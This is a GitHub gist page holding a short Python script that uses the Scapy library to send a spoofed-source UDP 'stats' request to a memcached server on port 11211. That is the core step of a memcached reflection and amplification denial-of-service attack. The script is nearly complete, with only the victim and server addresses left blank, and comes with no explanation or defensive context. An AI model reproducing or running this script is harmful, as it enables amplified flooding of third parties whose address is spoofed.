Skip to content

Instantly share code, notes, and snippets.

@jjsantanna
Created March 16, 2018 11:20
Show Gist options
  • Save jjsantanna/57c6c2111af2b955efd348c867be8e33 to your computer and use it in GitHub Desktop.
Save jjsantanna/57c6c2111af2b955efd348c867be8e33 to your computer and use it in GitHub Desktop.
from scapy.all import *
spoofedIPsrc=""
memcachedServer=""
memcached_stats = "\x00\x01\x00\x00\x00\x01\x00\x00\x73\x74\x61\x74\x73\x0d\x0a"
memcachedRequest = IP(src=spoofedIPsrc,dst=memcachedServer)/UDP(sport=12345, dport=11211)/memcached_stats
sr1(memcachedRequest)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment